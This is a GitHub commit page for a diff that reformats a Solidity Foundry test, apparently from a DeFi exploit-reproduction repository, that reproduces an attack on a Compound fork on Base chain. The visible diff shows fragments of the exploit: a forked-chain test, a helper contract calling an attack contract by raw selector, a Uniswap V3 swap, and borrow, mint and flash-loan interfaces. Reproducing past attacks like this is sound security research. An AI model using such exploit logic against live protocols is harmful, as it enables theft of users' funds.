Skip to content

Commit

Permalink
Merge pull request SunWeb3Sec#839 from akshaynexus/fix-compoundfork-exp
Browse files Browse the repository at this point in the history
fix : readme link by renaming file and format the code
  • Loading branch information
SunWeb3Sec authored Oct 31, 2024
2 parents 790718f + 2ad6833 commit 99ff969
Showing 1 changed file with 33 additions and 27 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -37,7 +37,8 @@ struct ExactInputSingleParams {
}

contract CompoundFork is BaseTestWithBalanceLog {
uint256 blocknumToForkFrom = 21512062;
uint256 blocknumToForkFrom = 21_512_062;

fallback() external payable {}

function setUp() public {
Expand All @@ -46,14 +47,6 @@ contract CompoundFork is BaseTestWithBalanceLog {
fundingToken = address(weth);
}

// function run() external {
// EXPLOIT_DO3 it = new EXPLOIT_DO3();

// console.log("2111%e", address(this).balance);
// it.doTask();
// console.log("111%e", address(this).balance);
// }

function testExploit() public balanceLog {
// A reproduction for a unknown attack in base chain.
// 0x6ab5b7b51f780e8c6c5ddaf65e9badb868811a95c1fd64e86435283074d3149e
Expand Down Expand Up @@ -113,7 +106,9 @@ contract EXPLOIT_DO3 {
contract Helper {
fallback() external payable {}

function d(address self) external {
function d(
address self
) external {
address(0xf91d26405fB5e489B7c4bbC11b9a5402aE9243D3).call(
abi.encodeWithSelector(0x38edc837, address(this), true)
);
Expand Down Expand Up @@ -142,14 +137,7 @@ contract Helper {

IUniswapV3Router(UniswapV3Router).exactInputSingle(
ExactInputSingleParams(
uSUI,
address(weth),
200,
address(this),
block.timestamp,
IERC20(uSUI).balanceOf(address(this)),
1,
0
uSUI, address(weth), 200, address(this), block.timestamp, IERC20(uSUI).balanceOf(address(this)), 1, 0
)
);

Expand All @@ -160,24 +148,34 @@ contract Helper {
}

interface IUniswapV3Router {
function exactInputSingle(ExactInputSingleParams calldata data) external;
function exactInputSingle(
ExactInputSingleParams calldata data
) external;
}

interface IUnderlyingPrice {
function getUnderlyingPrice(address t) external returns (uint256);
function getUnderlyingPrice(
address t
) external returns (uint256);
}

interface IMarketM {
function enterMarkets(address[] memory) external;
function getAccountLiquidity(address t) external returns (uint256, uint256);
function enterMarkets(
address[] memory
) external;
function getAccountLiquidity(
address t
) external returns (uint256, uint256);
}

interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);

function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function balanceOf(
address account
) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
Expand All @@ -194,15 +192,19 @@ interface WETH {

function allowance(address, address) external view returns (uint256);
function approve(address guy, uint256 wad) external returns (bool);
function balanceOf(address) external view returns (uint256);
function balanceOf(
address
) external view returns (uint256);
function decimals() external view returns (uint8);
function deposit() external payable;
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function totalSupply() external view returns (uint256);
function transfer(address dst, uint256 wad) external returns (bool);
function transferFrom(address src, address dst, uint256 wad) external returns (bool);
function withdraw(uint256 wad) external;
function withdraw(
uint256 wad
) external;
}

interface Flashable {
Expand All @@ -214,9 +216,13 @@ interface MintWithPermitable {
}

interface Mintable {
function mint(uint256 a) external;
function mint(
uint256 a
) external;
}

interface Borrowable {
function borrow(uint256 b) external;
function borrow(
uint256 b
) external;
}

0 comments on commit 99ff969

Please sign in to comment.